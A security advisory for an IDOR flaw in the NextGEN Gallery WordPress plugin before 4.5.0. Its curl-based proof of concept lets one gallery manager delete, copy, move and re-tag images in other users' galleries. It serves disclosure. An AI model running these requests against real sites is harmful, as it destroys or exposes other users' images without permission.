NextGEN Gallery < 4.5.0 – Authenticated Arbitrary Gallery Image Deletion via IDOR | CVE 2026-81653

Description

The plugin does not verify that the user acting on an image owns the gallery it belongs to, allowing users granted its gallery-management capability by an administrator to delete, copy and re-tag any image on the site, including images in galleries belonging to other users.

Proof of Concept

Prerequisites, performed once by an administrator. This is not the default: out of the box only Administrator holds these capabilities. On multisite the plugin's Roles screen is reachable only to a Super Admin.

1. Install and activate NextGEN Gallery.
2. On the plugin's Roles screen, set "Manage gallery" and "Add gallery / Upload images" to any role below Administrator. Leave "Manage others gallery" at Administrator.
3. Create two accounts with that role, "victim" and "attacker".
4. As victim, add a gallery with images. Note an image id, VICTIM_PID.
5. As attacker, add a gallery of their own. Note its id, ATTACKER_GID.

The attacker holds no ownership relationship to the victim's gallery and is refused when rendering it:

curl -s -b cookies.txt "https://victim.example/wp-admin/admin.php?page=nggallery-manage-gallery&mode=edit&gid=VICTIM_GID" | grep -c "Sorry, you have no access here"

Deletion, route one. The bulk action is not scoped to the gallery in the request, so the attacker points it at any image id while operating on their own gallery:

curl -s -b cookies.txt -X POST "https://victim.example/wp-admin/admin.php?page=nggallery-manage-gallery&mode=edit&gid=ATTACKER_GID" \
  --data-urlencode "nggpage=manage-images" \
  --data-urlencode "_wpnonce=NONCE_FROM_OWN_GALLERY" \
  --data-urlencode "bulkaction=delete_images" \
  --data-urlencode "doaction[]=VICTIM_PID"

The victim's image row is removed. The file is left on disk, so the image simply disappears from the site.

Deletion, route two. A different route with a different nonce and no capability check at all. The ngg_delpicture nonce is emitted on every image row of a gallery the attacker does own:

curl -s -b cookies.txt "https://victim.example/wp-admin/admin.php?page=nggallery-manage-gallery&mode=delpic&gid=ATTACKER_GID&pid=VICTIM_PID&_wpnonce=DELPIC_NONCE"

Disclosure. The victim's image is copied into a gallery the attacker owns and can then browse:

curl -s -b cookies.txt -X POST "https://victim.example/wp-admin/admin.php?page=nggallery-manage-gallery&mode=edit&gid=ATTACKER_GID" \
  --data-urlencode "nggpage=manage-images" \
  --data-urlencode "_wpnonce=NONCE_FROM_OWN_GALLERY" \
  --data-urlencode "TB_bulkaction=copy_to" \
  --data-urlencode "TB_SelectGallery=ATTACKER_GID" \
  --data-urlencode "TB_imagelist=VICTIM_PID" \
  --data-urlencode "dest_gid=ATTACKER_GID"

The response reads "Copied 1 picture(s) to gallery:" and the attacker's own gallery now renders the victim's image.

Removal from the victim. The same handler also moves the image out of the victim's gallery, leaving it empty:

curl -s -b cookies.txt -X POST "https://victim.example/wp-admin/admin.php?page=nggallery-manage-gallery&mode=edit&gid=ATTACKER_GID" \
  --data-urlencode "nggpage=manage-images" \
  --data-urlencode "_wpnonce=NONCE_FROM_OWN_GALLERY" \
  --data-urlencode "TB_bulkaction=move_to" \
  --data-urlencode "TB_SelectGallery=ATTACKER_GID" \
  --data-urlencode "TB_imagelist=VICTIM_PID" \
  --data-urlencode "dest_gid=ATTACKER_GID"

Tag overwrite, on any image id:

curl -s -b cookies.txt -X POST "https://victim.example/wp-admin/admin.php?page=nggallery-manage-gallery&mode=edit&gid=ATTACKER_GID" \
  --data-urlencode "nggpage=manage-images" \
  --data-urlencode "_wpnonce=NONCE_FROM_OWN_GALLERY" \
  --data-urlencode "TB_EditTags=1" \
  --data-urlencode "TB_bulkaction=overwrite_tags" \
  --data-urlencode "TB_imagelist=VICTIM_PID" \
  --data-urlencode "taglist=injected-by-attacker"

The response reads "Tags changed" and the tag is attached to the victim's image.